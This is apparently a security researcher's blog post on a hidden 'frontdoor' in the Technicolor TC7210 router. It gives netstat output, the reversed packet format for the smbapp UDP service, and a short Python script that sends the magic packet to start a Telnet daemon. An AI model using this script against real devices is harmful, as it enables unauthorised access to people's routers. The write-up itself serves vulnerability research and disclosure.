In a previous article, I explained how to get root
on the embedded Linux part of the Technicolor 7210 router by leveraging a remote code execution (RCE). This article on the other hand, will explain how one can leverage a “frontdoor” to gain the same level of access.
The TC7210 has two operative systems (OS), the eCos real-time OS, and a Linux based embedded OS. The eCos OS is responsible for managing all network functionalities as well as the Network Attached Storage (NAS) functionalities provided by the Linux OS.
For that to happen, the eCos OS needs to be able to communicate with the Linux OS. As discussed in the previous article, the smbapp
is the application responsible for managing the NAS functionality. A good indicator of how the application is receiving commands from the eCos OS is the fact that it listens on port 49182
(UDP).
1#!/bin/bash
2netstat -nlp
3# Active Internet connections (only servers)
4# Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
5# tcp 0 0 192.168.178.10:4321 0.0.0.0:* LISTEN 556/bcmmserver
6# tcp 0 0 192.168.178.10:2468 0.0.0.0:* LISTEN 556/bcmmserver
7# tcp 0 0 0.0.0.0:139 0.0.0.0:* LISTEN 2601/smbd
8# tcp 0 0 0.0.0.0:111 0.0.0.0:* LISTEN 316/portmap
9# tcp 0 0 192.168.178.10:80 0.0.0.0:* LISTEN 556/bcmmserver
10# tcp 0 0 0.0.0.0:445 0.0.0.0:* LISTEN 2601/smbd
11# tcp 0 0 :::23 :::* LISTEN 2596/telnetd
12# udp 0 0 192.168.178.10:137 0.0.0.0:* 2649/nmbd
13# udp 0 0 0.0.0.0:137 0.0.0.0:* 2649/nmbd
14# udp 0 0 192.168.178.10:138 0.0.0.0:* 2649/nmbd
15# udp 0 0 0.0.0.0:138 0.0.0.0:* 2649/nmbd
16# udp 0 0 0.0.0.0:49181 0.0.0.0:* 386/mscapp
17# udp 0 0 0.0.0.0:49182 0.0.0.0:* 328/smbapp
18# udp 0 0 0.0.0.0:1900 0.0.0.0:* 556/bcmmserver
19# udp 0 0 0.0.0.0:111 0.0.0.0:* 316/portmap
20# Active UNIX domain sockets (only servers)
21# Proto RefCnt Flags Type State I-Node PID/Program name Path
By revisiting the string analysis performed previously it was possible to find other interesting strings in the smbapp
application that indicated some sort of functionality to manage a Telnet server. The strings are: smbapp: Launching telnetd.
and smbapp: Killing telnetd
. It is possible to confirm this by loading smbapp
in a disassembler and searching for references to those strings.
The code above is contained in a function called executeCommand
which is called from a loop where the UDP packets to port 49182
are received.
The next step is to understand what is the format of the packet that needs to be sent to the smbapp
in order to start the Telnet daemon. The executeCommand
function is quite complex and has an awful amount of branching. As such it is easier to backtrack the flow of code execution taking into consideration all the branching that would lead to the Telnet daemon being launched.
From the flow of execution depicted above, we can see that the first word of the packet that needs to be sent is 0x107
, the following word doesn’t really matter, and the last double word should be 0x00000001
.
With this information, the next step was to hack up a script that would send the right bytes to the listening socket of the smbapp
.
1import socket
2
3ADDRESS = '<IP address of the NAS>'
4PORT = 49182
5PACKET = bytes([
6 0x01, 0x07, 0xFF, 0xFF, 0x00, 0x00, 0x00, 0x01
7])
8
9sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
10sock.sendto(PACKET, (ADDRESS, PORT))
11
12line, server = sock.recvfrom(128)
13
14print(line)
Using the script against the NAS functionality of the router, we get an awesome Telnet prompt. Further to the above, it is also possible to control an HTTP server (that exposes some CGI scripts), and whether the Linux OS responds to pings.
Hope this has been interesting and insightful!